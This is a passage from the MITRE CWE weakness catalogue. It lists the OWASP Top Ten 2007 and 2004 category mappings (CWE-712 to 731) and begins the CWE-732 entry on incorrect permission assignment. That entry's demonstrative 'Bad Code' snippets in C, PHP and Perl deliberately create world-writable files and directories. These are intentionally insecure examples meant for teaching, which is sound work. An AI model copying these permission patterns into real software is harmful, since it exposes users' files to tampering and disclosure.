Some parts of CWE are not fully fleshed out in terms of weaknesses. When these areas were mentioned in the Top Ten, category nodes were mapped, although general mapping practice would usually favor mapping only to weaknesses.

# CWE-712: OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS)

Category ID: 712 (Category) Status: Incomplete

## Description

### Summary

Weaknesses in this category are related to the A1 category in the OWASP Top Ten 2007.

## Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ParentOf	<b>B</b>	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	629	131
MemberOf	<input checked="" type="checkbox"/>	629	Weaknesses in OWASP Top Ten (2007)	629	979

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
85	AJAX Fingerprinting	

## References

OWASP. "Top 10 2007-Cross Site Scripting". 2007. < [http://www.owasp.org/index.php/Top\\_10\\_2007-A1](http://www.owasp.org/index.php/Top_10_2007-A1) >.

## CWE-713: OWASP Top Ten 2007 Category A2 - Injection Flaws

Category ID: 713 (Category) Status: Incomplete

### Description

#### Summary

Weaknesses in this category are related to the A2 category in the OWASP Top Ten 2007.

### Relationships

Nature	Type	ID	Name	V	Page
ParentOf		77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	629	117
ParentOf		89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	629	159
ParentOf		90	Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')	629	169
ParentOf		91	XML Injection (aka Blind XPath Injection)	629	170
ParentOf		93	Improper Neutralization of CRLF Sequences ('CRLF Injection')	629	172
MemberOf		629	Weaknesses in OWASP Top Ten (2007)	629	979

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
6	Argument Injection	
7	Blind SQL Injection	
14	Client-side Injection-induced Buffer Overflow	
15	Command Delimiters	
18	Embedding Scripts in Non-Script Elements	
19	Embedding Scripts within Scripts	
23	File System Function Injection, Content Based	
32	Embedding Scripts in HTTP Query Strings	
34	HTTP Response Splitting	
41	Using Meta-characters in E-mail Headers to Inject Malicious Payloads	
44	Overflow Binary Resource File	
63	Simple Script Injection	
66	SQL Injection	
75	Manipulating Writeable Configuration Files	
81	Web Logs Tampering	
83	XPath Injection	
84	XQuery Injection	
86	Embedding Script (XSS) in HTTP Headers	
88	OS Command Injection	
91	XSS in IMG Tags	
93	Log Injection-Tampering-Forging	
101	Server Side Include (SSI) Injection	
199	Cross-Site Scripting Using Alternate Syntax	
244	Cross-Site Scripting via Encoded URI Schemes	
250	XML Injection	

## CWE-714: OWASP Top Ten 2007 Category A3 - Malicious File Execution

Category ID: 714 (Category) Status: Incomplete

### Description

#### Summary

Weaknesses in this category are related to the A3 category in the OWASP Top Ten 2007.

### Relationships

Nature	Type	ID	Name	V	Page
ParentOf	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	629	121
ParentOf	B	95	Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')	629	177
ParentOf	B	98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	629	184
ParentOf	B	434	Unrestricted Upload of File with Dangerous Type	629	742
MemberOf	V	629	Weaknesses in OWASP Top Ten (2007)	629	979

#### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
35	Leverage Executable Code in Non-Executable Files	
159	Redirect Access to Libraries	
193	PHP Remote File Inclusion	

## CWE-715: OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference

Category ID: 715 (Category) Status: Incomplete

#### Description

##### Summary

Weaknesses in this category are related to the A4 category in the OWASP Top Ten 2007.

#### Relationships

Nature	Type	ID	Name	V	Page
ParentOf	G	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	629	30
ParentOf	B	472	External Control of Assumed-Immutable Web Parameter	629	793
MemberOf	V	629	Weaknesses in OWASP Top Ten (2007)	629	979
ParentOf	B	639	Authorization Bypass Through User-Controlled Key	629	988

#### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
23	File System Function Injection, Content Based	
76	Manipulating Input to File System Calls	

#### References

OWASP. "Top 10 2007-Insecure Direct Object Reference". 2007. < [http://www.owasp.org/index.php/Top\\_10\\_2007-A4](http://www.owasp.org/index.php/Top_10_2007-A4) >.

## CWE-716: OWASP Top Ten 2007 Category A5 - Cross Site Request Forgery (CSRF)

Category ID: 716 (Category) Status: Incomplete

#### Description

##### Summary

Weaknesses in this category are related to the A5 category in the OWASP Top Ten 2007.

#### Relationships

Nature	Type	ID	Name	V	Page
ParentOf	C	352	Cross-Site Request Forgery (CSRF)	629	611
MemberOf	V	629	Weaknesses in OWASP Top Ten (2007)	629	979

#### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
62	Cross Site Request Forgery (aka Session Riding)	

#### References

OWASP. "Top 10 2007-Cross Site Request Forgery". 2007. < [http://www.owasp.org/index.php/Top\\_10\\_2007-A5](http://www.owasp.org/index.php/Top_10_2007-A5) >.

## CWE-717: OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling

Category ID: 717 (Category) Status: Incomplete

### Description

#### Summary

Weaknesses in this category are related to the A6 category in the OWASP Top Ten 2007.

### Relationships

Nature	Type	ID	Name	V	Page
ParentOf		200	Information Exposure	629	384
ParentOf		203	Information Exposure Through Discrepancy	629	389
ParentOf		209	Information Exposure Through an Error Message	629	397
ParentOf		215	Information Exposure Through Debug Information	629	409
MemberOf		629	Weaknesses in OWASP Top Ten (2007)	629	979

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
54	Probe Application Error Reporting	

### References

OWASP. "Top 10 2007-Information Leakage and Improper Error Handling". 2007. < [http://www.owasp.org/index.php/Top\\_10\\_2007-A6](http://www.owasp.org/index.php/Top_10_2007-A6) >.

## CWE-718: OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management

Category ID: 718 (Category) Status: Incomplete

### Description

#### Summary

Weaknesses in this category are related to the A7 category in the OWASP Top Ten 2007.

### Relationships

Nature	Type	ID	Name	V	Page
ParentOf		287	Improper Authentication	629	507
ParentOf		301	Reflection Attack in an Authentication Protocol	629	532
ParentOf		522	Insufficiently Protected Credentials	629	862
MemberOf		629	Weaknesses in OWASP Top Ten (2007)	629	979

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
50	Password Recovery Exploitation	
90	Reflection Attack in Authentication Protocol	

### References

OWASP. "Top 10 2007-Broken Authentication and Session Management". 2007. < [http://www.owasp.org/index.php/Top\\_10\\_2007-A7](http://www.owasp.org/index.php/Top_10_2007-A7) >.

## CWE-719: OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage

Category ID: 719 (Category) Status: Incomplete

### Description

#### Summary

Weaknesses in this category are related to the A8 category in the OWASP Top Ten 2007.

### Relationships

Nature	Type	ID	Name	V	Page
ParentOf	B	311	Missing Encryption of Sensitive Data	629	548
ParentOf	B	321	Use of Hard-coded Cryptographic Key	629	565
ParentOf	B	325	Missing Required Cryptographic Step	629	570
ParentOf	C	326	Inadequate Encryption Strength	629	571
MemberOf	V	629	Weaknesses in OWASP Top Ten (2007)	629	979

#### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
20	Encryption Brute Forcing	
55	Rainbow Table Password Cracking	
59	Session Credential Falsification through Prediction	
65	Passively Sniff and Capture Application Code Bound for Authorized Client	
97	Cryptanalysis	

#### References

OWASP. "Top 10 2007-Insecure Cryptographic Storage". 2007. < [http://www.owasp.org/index.php/Top\\_10\\_2007-A8](http://www.owasp.org/index.php/Top_10_2007-A8) >.

## CWE-720: OWASP Top Ten 2007 Category A9 - Insecure Communications

Category ID: 720 (Category) Status: Incomplete

#### Description

##### Summary

Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2007.

#### Relationships

Nature	Type	ID	Name	V	Page
ParentOf	B	311	Missing Encryption of Sensitive Data	629	548
ParentOf	B	321	Use of Hard-coded Cryptographic Key	629	565
ParentOf	B	325	Missing Required Cryptographic Step	629	570
ParentOf	C	326	Inadequate Encryption Strength	629	571
MemberOf	V	629	Weaknesses in OWASP Top Ten (2007)	629	979

#### References

OWASP. "Top 10 2007-Insecure Communications". 2007. < [http://www.owasp.org/index.php/Top\\_10\\_2007-A9](http://www.owasp.org/index.php/Top_10_2007-A9) >.

## CWE-721: OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access

Category ID: 721 (Category) Status: Incomplete

#### Description

##### Summary

Weaknesses in this category are related to the A10 category in the OWASP Top Ten 2007.

#### Relationships

Nature	Type	ID	Name	V	Page
ParentOf	C	285	Improper Authorization	629	501
ParentOf	B	288	Authentication Bypass Using an Alternate Path or Channel	629	512
ParentOf	B	425	Direct Request ('Forced Browsing')	629	727
MemberOf	V	629	Weaknesses in OWASP Top Ten (2007)	629	979

#### Related Attack Patterns

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
1	Accessing Functionality Not Properly Constrained by ACLs	
56	Removing/short-circuiting 'guard logic'	



CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
127	Directory Indexing	

**References**

OWASP. "Top 10 2007-Failure to Restrict URL Access". 2007. < [http://www.owasp.org/index.php/Top\\_10\\_2007-A10](http://www.owasp.org/index.php/Top_10_2007-A10) >.























## CWE-722: OWASP Top Ten 2004 Category A1 - Unvalidated Input

Category ID: 722 (Category) Status: Incomplete

**Description****Summary**

Weaknesses in this category are related to the A1 category in the OWASP Top Ten 2004.

**Relationships**

Nature	Type	ID	Name	W	Page
ParentOf		20	Improper Input Validation	711	18
ParentOf		77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	711	117
ParentOf		79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	711	131
ParentOf		89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	711	159
ParentOf		102	Struts: Duplicate Validation Forms	711	193
ParentOf		103	Struts: Incomplete validate() Method Definition	711	194
ParentOf		104	Struts: Form Bean Does Not Extend Validation Class	711	196
ParentOf		106	Struts: Plug-in Framework not in Use	711	200
ParentOf		109	Struts: Validator Turned Off	711	205
ParentOf		120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	711	234
ParentOf		166	Improper Handling of Missing Special Element	711	324
ParentOf		167	Improper Handling of Additional Special Element	711	325
ParentOf		179	Incorrect Behavior Order: Early Validation	711	345
ParentOf		180	Incorrect Behavior Order: Validate Before Canonicalize	711	347
ParentOf		181	Incorrect Behavior Order: Validate Before Filter	711	349
ParentOf		182	Collapse of Data into Unsafe Value	711	350
ParentOf		183	Permissive Whitelist	711	352
ParentOf		425	Direct Request ('Forced Browsing')	711	727
ParentOf		472	External Control of Assumed-Immutable Web Parameter	711	793
ParentOf		601	URL Redirection to Untrusted Site ('Open Redirect')	711	942
ParentOf		602	Client-Side Enforcement of Server-Side Security	711	947
MemberOf		711	Weaknesses in OWASP Top Ten (2004)	711	1110

**References**

OWASP. "A1 Unvalidated Input". 2007. < [http://sourceforge.net/project/showfiles.php?group\\_id=64424&package\\_id=70827](http://sourceforge.net/project/showfiles.php?group_id=64424&package_id=70827) >.

## CWE-723: OWASP Top Ten 2004 Category A2 - Broken Access Control

Category ID: 723 (Category) Status: Incomplete

**Description****Summary**

Weaknesses in this category are related to the A2 category in the OWASP Top Ten 2004.

**Relationships**



Nature	Type	ID	Name	V	Page
ParentOf	V	9	J2EE Misconfiguration: Weak Access Permissions for EJB Methods	711	7
ParentOf	C	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')	711	30
ParentOf	B	41	Improper Resolution of Path Equivalence	711	73
ParentOf	C	73	External Control of File Name or Path	711	109
ParentOf	B	266	Incorrect Privilege Assignment	711	471
ParentOf	B	268	Privilege Chaining	711	475
ParentOf	C	275	Permission Issues	711	488
ParentOf	B	283	Unverified Ownership	711	498
ParentOf	C	284	Improper Access Control	711	499
ParentOf	C	285	Improper Authorization	711	501
ParentOf	C	330	Use of Insufficiently Random Values	711	581
ParentOf	B	425	Direct Request ('Forced Browsing')	711	727
ParentOf	V	525	Information Exposure Through Browser Caching	711	867
ParentOf	B	551	Incorrect Behavior Order: Authorization Before Parsing and Canonicalization	711	889
ParentOf	V	556	ASP.NET Misconfiguration: Use of Identity Impersonation	711	892
ParentOf	B	639	Authorization Bypass Through User-Controlled Key	711	988
ParentOf	B	708	Incorrect Ownership Assignment	711	1108
MemberOf	V	711	Weaknesses in OWASP Top Ten (2004)	711	1110

### References

OWASP. "A2 Broken Access Control". 2007. < [http://sourceforge.net/project/showfiles.php?group\\_id=64424&package\\_id=70827](http://sourceforge.net/project/showfiles.php?group_id=64424&package_id=70827) >.

## CWE-724: OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management

Category ID: 724 (Category)

Status: Incomplete

### Description

#### Summary

Weaknesses in this category are related to the A3 category in the OWASP Top Ten 2004.

### Relationships

Nature	Type	ID	Name	V	Page
ParentOf	C	255	Credentials Management	711	453
ParentOf	B	259	Use of Hard-coded Password	711	459
ParentOf	C	287	Improper Authentication	711	507
ParentOf	B	296	Improper Following of a Certificate's Chain of Trust	711	523
ParentOf	V	298	Improper Validation of Certificate Expiration	711	527
ParentOf	V	302	Authentication Bypass by Assumed-Immutable Data	711	533
ParentOf	B	304	Missing Critical Step in Authentication	711	535
ParentOf	B	307	Improper Restriction of Excessive Authentication Attempts	711	541
ParentOf	B	309	Use of Password System for Primary Authentication	711	545
ParentOf	C	345	Insufficient Verification of Data Authenticity	711	600
ParentOf	⋈	384	Session Fixation	711	663
ParentOf	B	521	Weak Password Requirements	711	861
ParentOf	B	522	Insufficiently Protected Credentials	711	862
ParentOf	V	525	Information Exposure Through Browser Caching	711	867
ParentOf	C	592	Authentication Bypass Issues	711	933
ParentOf	B	613	Insufficient Session Expiration	711	960
ParentOf	V	620	Unverified Password Change	711	967

Nature	Type	ID	Name	V	Page
ParentOf	B	640	Weak Password Recovery Mechanism for Forgotten Password	711	989
MemberOf	V	711	Weaknesses in OWASP Top Ten (2004)	711	1110
ParentOf	B	798	Use of Hard-coded Credentials	711	1219

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
31	Accessing/Intercepting/Modifying HTTP Cookies	
57	Utilizing REST's Trust in the System Resource to Register Man in the Middle	
94	Man in the Middle Attack	

**References**

OWASP. "A3 Broken Authentication and Session Management". 2007. < [http://sourceforge.net/project/showfiles.php?group\\_id=64424&package\\_id=70827](http://sourceforge.net/project/showfiles.php?group_id=64424&package_id=70827) >.

## CWE-725: OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws

Category ID: 725 (Category) Status: Incomplete

**Description****Summary**

Weaknesses in this category are related to the A4 category in the OWASP Top Ten 2004.

**Relationships**

Nature	Type	ID	Name	V	Page
ParentOf	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	711	131
ParentOf	V	644	Improper Neutralization of HTTP Headers for Scripting Syntax	711	999
MemberOf	V	711	Weaknesses in OWASP Top Ten (2004)	711	1110

**References**

OWASP. "A4 Cross-Site Scripting (XSS) Flaws". 2007. < [http://sourceforge.net/project/showfiles.php?group\\_id=64424&package\\_id=70827](http://sourceforge.net/project/showfiles.php?group_id=64424&package_id=70827) >.

## CWE-726: OWASP Top Ten 2004 Category A5 - Buffer Overflows

Category ID: 726 (Category) Status: Incomplete

**Description****Summary**

Weaknesses in this category are related to the A5 category in the OWASP Top Ten 2004.

**Relationships**

Nature	Type	ID	Name	V	Page
ParentOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	711	226
ParentOf	B	120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	711	234
ParentOf	B	134	Uncontrolled Format String	711	277
MemberOf	V	711	Weaknesses in OWASP Top Ten (2004)	711	1110

**References**

OWASP. "A5 Buffer Overflows". 2007. < [http://sourceforge.net/project/showfiles.php?group\\_id=64424&package\\_id=70827](http://sourceforge.net/project/showfiles.php?group_id=64424&package_id=70827) >.










## CWE-727: OWASP Top Ten 2004 Category A6 - Injection Flaws

Category ID: 727 (Category) Status: Incomplete

**Description****Summary**

Weaknesses in this category are related to the A6 category in the OWASP Top Ten 2004.

**Relationships**

Nature	Type	ID	Name	V	Page
ParentOf		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	711	113
ParentOf		77	Improper Neutralization of Special Elements used in a Command ('Command Injection')	711	117
ParentOf		78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	711	121
ParentOf		89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	711	159
ParentOf		91	XML Injection (aka Blind XPath Injection)	711	170
ParentOf		95	Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')	711	177
ParentOf		98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	711	184
ParentOf		117	Improper Output Neutralization for Logs	711	223
MemberOf		711	Weaknesses in OWASP Top Ten (2004)	711	1110

**References**

OWASP. "A6 Injection Flaws". 2007. < [http://sourceforge.net/project/showfiles.php?group\\_id=64424&package\\_id=70827](http://sourceforge.net/project/showfiles.php?group_id=64424&package_id=70827) >.

## CWE-728: OWASP Top Ten 2004 Category A7 - Improper Error Handling












Category ID: 728 (Category)

Status: Incomplete

**Description****Summary**

Weaknesses in this category are related to the A7 category in the OWASP Top Ten 2004.

**Relationships**

Nature	Type	ID	Name	V	Page
ParentOf		7	J2EE Misconfiguration: Missing Custom Error Page	711	5
ParentOf		203	Information Exposure Through Discrepancy	711	389
ParentOf		209	Information Exposure Through an Error Message	711	397
ParentOf		228	Improper Handling of Syntactically Invalid Structure	711	420
ParentOf		252	Unchecked Return Value	711	446
ParentOf		388	Error Handling	711	669
ParentOf		390	Detection of Error Condition Without Action	711	671
ParentOf		391	Unchecked Error Condition	711	675
ParentOf		394	Unexpected Status Code or Return Value	711	679
ParentOf		636	Not Failing Securely ('Failing Open')	711	983
MemberOf		711	Weaknesses in OWASP Top Ten (2004)	711	1110

**Related Attack Patterns**

CAPEC-ID	Attack Pattern Name	(CAPEC Version 2.6)
28	Fuzzing	

**References**

OWASP. "A7 Improper Error Handling". 2007. < [http://sourceforge.net/project/showfiles.php?group\\_id=64424&package\\_id=70827](http://sourceforge.net/project/showfiles.php?group_id=64424&package_id=70827) >.

## CWE-729: OWASP Top Ten 2004 Category A8 - Insecure Storage

**Category ID:** 729 (Category) **Status:** Incomplete**Description****Summary**

Weaknesses in this category are related to the A8 category in the OWASP Top Ten 2004.

**Relationships**

Nature	Type	ID	Name	V	Page
ParentOf	B	14	Compiler Removal of Code to Clear Buffers	711	12
ParentOf	B	226	Sensitive Information Uncleared Before Release	711	417
ParentOf	V	261	Weak Cryptography for Passwords	711	464
ParentOf	B	311	Missing Encryption of Sensitive Data	711	548
ParentOf	B	321	Use of Hard-coded Cryptographic Key	711	565
ParentOf	G	326	Inadequate Encryption Strength	711	571
ParentOf	B	327	Use of a Broken or Risky Cryptographic Algorithm	711	573
ParentOf	V	539	Information Exposure Through Persistent Cookies	711	878
ParentOf	V	591	Sensitive Data Storage in Improperly Locked Memory	711	932
ParentOf	V	598	Information Exposure Through Query Strings in GET Request	711	939
MemberOf	V	711	Weaknesses in OWASP Top Ten (2004)	711	1110

**References**

OWASP. "A8 Insecure Storage". 2007. < [http://sourceforge.net/project/showfiles.php?group\\_id=64424&package\\_id=70827](http://sourceforge.net/project/showfiles.php?group_id=64424&package_id=70827) >.

## CWE-730: OWASP Top Ten 2004 Category A9 - Denial of Service

**Category ID:** 730 (Category) **Status:** Incomplete**Description****Summary**

Weaknesses in this category are related to the A9 category in the OWASP Top Ten 2004.

**Relationships**

Nature	Type	ID	Name	V	Page
ParentOf	B	170	Improper Null Termination	711	328
ParentOf	B	248	Uncaught Exception	711	438
ParentOf	B	369	Divide By Zero	711	647
ParentOf	V	382	J2EE Bad Practices: Use of System.exit()	711	661
ParentOf	B	400	Uncontrolled Resource Consumption ('Resource Exhaustion')	711	688
ParentOf	B	401	Improper Release of Memory Before Removing Last Reference ('Memory Leak')	711	694
ParentOf	B	404	Improper Resource Shutdown or Release	711	699
ParentOf	G	405	Asymmetric Resource Consumption (Amplification)	711	703
ParentOf	B	410	Insufficient Resource Pool	711	709
ParentOf	B	412	Unrestricted Externally Accessible Lock	711	711
ParentOf	B	476	NULL Pointer Dereference	711	798
ParentOf	B	674	Uncontrolled Recursion	711	1042
MemberOf	V	711	Weaknesses in OWASP Top Ten (2004)	711	1110

**References**

OWASP. "A9 Denial of Service". 2007. < [http://sourceforge.net/project/showfiles.php?group\\_id=64424&package\\_id=70827](http://sourceforge.net/project/showfiles.php?group_id=64424&package_id=70827) >.

## CWE-731: OWASP Top Ten 2004 Category A10 - Insecure Configuration Management

**Category ID:** 731 (Category) **Status:** Incomplete

**Description****Summary**

Weaknesses in this category are related to the A10 category in the OWASP Top Ten 2004.

**Relationships**

Nature	Type	ID	Name	V	Page
ParentOf	C	4	J2EE Environment Issues	711	2
ParentOf	C	10	ASP.NET Environment Issues	711	8
ParentOf	B	209	Information Exposure Through an Error Message	711	397
ParentOf	V	215	Information Exposure Through Debug Information	711	409
ParentOf	V	219	Sensitive Data Under Web Root	711	412
ParentOf	C	275	Permission Issues	711	488
ParentOf	B	295	Improper Certificate Validation	711	521
ParentOf	B	459	Incomplete Cleanup	711	775
ParentOf	B	489	Leftover Debug Code	711	824
ParentOf	V	526	Information Exposure Through Environmental Variables	711	868
ParentOf	V	527	Exposure of CVS Repository to an Unauthorized Control Sphere	711	868
ParentOf	V	528	Exposure of Core Dump File to an Unauthorized Control Sphere	711	869
ParentOf	V	529	Exposure of Access Control List Files to an Unauthorized Control Sphere	711	870
ParentOf	V	530	Exposure of Backup File to an Unauthorized Control Sphere	711	870
ParentOf	V	531	Information Exposure Through Test Code	711	871
ParentOf	V	532	Information Exposure Through Log Files	711	872
ParentOf	V	533	Information Exposure Through Server Log Files	711	873
ParentOf	V	534	Information Exposure Through Debug Log Files	711	874
ParentOf	V	540	Information Exposure Through Source Code	711	879
ParentOf	V	541	Information Exposure Through Include Source Code	711	880
ParentOf	V	542	Information Exposure Through Cleanup Log Files	711	881
ParentOf	V	548	Information Exposure Through Directory Listing	711	887
ParentOf	B	552	Files or Directories Accessible to External Parties	711	889
MemberOf	V	711	Weaknesses in OWASP Top Ten (2004)	711	1110

**References**

OWASP. "A10 Insecure Configuration Management". 2007. < [http://sourceforge.net/project/showfiles.php?group\\_id=64424&package\\_id=70827](http://sourceforge.net/project/showfiles.php?group_id=64424&package_id=70827) >.

## CWE-732: Incorrect Permission Assignment for Critical Resource

Weakness ID: 732 (Weakness Class)

Status: Draft

**Description****Summary**

The software specifies permissions for a security-critical resource in a way that allows that resource to be read or modified by unintended actors.

**Extended Description**

When a resource is given a permissions setting that provides access to a wider range of actors than required, it could lead to the exposure of sensitive information, or the modification of that resource by unintended parties. This is especially dangerous when the resource is related to program configuration, execution or sensitive user data.

**Time of Introduction**

- Architecture and Design
- Implementation
- Installation



- Operation

### Applicable Platforms

#### Languages

- Language-independent

### Modes of Introduction

The developer may set loose permissions in order to minimize problems when the user first runs the program, then create documentation stating that permissions should be tightened. Since system administrators and users do not always read the documentation, this can result in insecure permissions being left unchanged.

The developer might make certain assumptions about the environment in which the software runs - e.g., that the software is running on a single-user system, or the software is only accessible to trusted administrators. When the software is running in a different environment, the permissions become a problem.

### Common Consequences

#### Confidentiality

##### Read application data

##### Read files or directories

An attacker may be able to read sensitive information from the associated resource, such as credentials or configuration information stored in a file.

#### Access Control

##### Gain privileges / assume identity

An attacker may be able to modify critical properties of the associated resource to gain privileges, such as replacing a world-writable executable with a Trojan horse.

#### Integrity

##### Other

##### Modify application data

##### Other

An attacker may be able to destroy or corrupt critical data in the associated resource, such as deletion of records from a database.

### Likelihood of Exploit

Medium to High

### Detection Methods

#### Automated Static Analysis

Automated static analysis may be effective in detecting permission problems for system resources such as files, directories, shared memory, device interfaces, etc. Automated techniques may be able to detect the use of library functions that modify permissions, then analyze function calls for arguments that contain potentially insecure values.

However, since the software's intended security policy might allow loose permissions for certain operations (such as publishing a file on a web server), automated static analysis may produce some false positives - i.e., warnings that do not have any security consequences or require any code changes.

When custom permissions models are used - such as defining who can read messages in a particular forum in a bulletin board system - these can be difficult to detect using automated static analysis. It may be possible to define custom signatures that identify any custom functions that implement the permission checks and assignments.

**Automated Dynamic Analysis**

Automated dynamic analysis may be effective in detecting permission problems for system resources such as files, directories, shared memory, device interfaces, etc.

However, since the software's intended security policy might allow loose permissions for certain operations (such as publishing a file on a web server), automated dynamic analysis may produce some false positives - i.e., warnings that do not have any security consequences or require any code changes.

When custom permissions models are used - such as defining who can read messages in a particular forum in a bulletin board system - these can be difficult to detect using automated dynamic analysis. It may be possible to define custom signatures that identify any custom functions that implement the permission checks and assignments.

**Manual Analysis**

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

**Manual Static Analysis**

Manual static analysis may be effective in detecting the use of custom permissions models and functions. The code could then be examined to identifying usage of the related functions. Then the human analyst could evaluate permission assignments in the context of the intended security model of the software.

**Manual Dynamic Analysis**

Manual dynamic analysis may be effective in detecting the use of custom permissions models and functions. The program could then be executed with a focus on exercising code paths that are related to the custom permissions. Then the human analyst could evaluate permission assignments in the context of the intended security model of the software.

**Fuzzing**

Fuzzing is not effective in detecting this weakness.

**Black Box**

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as `truss` (Solaris) and `strace` (Linux); system activity monitors such as `FileMon`, `RegMon`, `Process Monitor`, and other `Sysinternals` utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process and watch for library functions or system calls on OS resources such as files, directories, and shared memory. Examine the arguments to these calls to infer which permissions are being used.

Note that this technique is only useful for permissions issues related to system resources. It is not likely to detect application-level business rules that are related to permissions, such as if a user of a blog system marks a post as "private," but the blog system inadvertently marks it as "public."

**Automated Static Analysis - Binary / Bytecode****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Inter-application Flow Analysis

**Manual Static Analysis - Binary / Bytecode****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies



**Dynamic Analysis with automated results interpretation****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Host-based Vulnerability Scanners – Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria

Web Application Scanner

Web Services Scanner

Database Scanners

**Dynamic Analysis with manual results interpretation****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Host Application Interface Scanner

Cost effective for partial coverage:

Fuzz Tester

Framework-based Fuzzer

Automated Monitored Execution

Forced Path Execution

**Manual Static Analysis - Source Code****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Manual Source Code Review (not inspections)

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

**Automated Static Analysis - Source Code****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Context-configured Source Code Weakness Analyzer

**Automated Static Analysis****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Configuration Checker

**Architecture / Design Review****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

**Demonstrative Examples****Example 1:**

The following code sets the umask of the process to 0 before creating a file and writing "Hello world" into the file.

**C Example:**

*Bad Code*

```
#define OUTFILE "hello.out"
umask(0);
FILE *out;
/* Ignore CWE-59 (link following) for brevity */
```

```

out = fopen(OUTFILE, "w");
if (out) {
    fprintf(out, "hello world!\n");
    fclose(out);
}

```

After running this program on a UNIX system, running the "ls -l" command might return the following output:

*Result*

```
-rw-rw-rw- 1 username 13 Nov 24 17:58 hello.out
```

The "rw-rw-rw-" string indicates that the owner, group, and world (all users) can read the file and write to it.

### Example 2:

This code creates a home directory for a new user, and makes that user the owner of the directory. If the new directory cannot be owned by the user, the directory is deleted.

#### PHP Example:

*Bad Code*

```

function createUserDir($username){
    $path = '/home/'.$username;
    if(!mkdir($path)){
        return false;
    }
    if(!chown($path,$username)){
        rmdir($path);
        return false;
    }
    return true;
}

```

Because the optional "mode" argument is omitted from the call to mkdir(), the directory is created with the default permissions 0777. Simply setting the new user as the owner of the directory does not explicitly change the permissions of the directory, leaving it with the default. This default allows any user to read and write to the directory, allowing an attack on the user's files. The code also fails to change the owner group of the directory, which may result in access by unexpected groups. This code may also be vulnerable to Path Traversal (CWE-22) attacks if an attacker supplies a non alphanumeric username.

### Example 3:

The following code snippet might be used as a monitor to periodically record whether a web site is alive. To ensure that the file can always be modified, the code uses chmod() to make the file world-writable.

#### Perl Example:

*Bad Code*

```

$fileName = "secretFile.out";
if (-e $fileName) {
    chmod 0777, $fileName;
}
my $outFH;
if (! open($outFH, ">>$fileName")) {
    ExitError("Couldn't append to $fileName: $!");
}
my $dateString = FormatCurrentTime();
my $status = IsHostAlive("cwe.mitre.org");
print $outFH "$dateString cwe status: $status\n";
close($outFH);

```

The first time the program runs, it might create a new file that inherits the permissions from its environment. A file listing might look like:

*Result*

```
-rw-r--r-- 1 username 13 Nov 24 17:58 secretFile.out
```

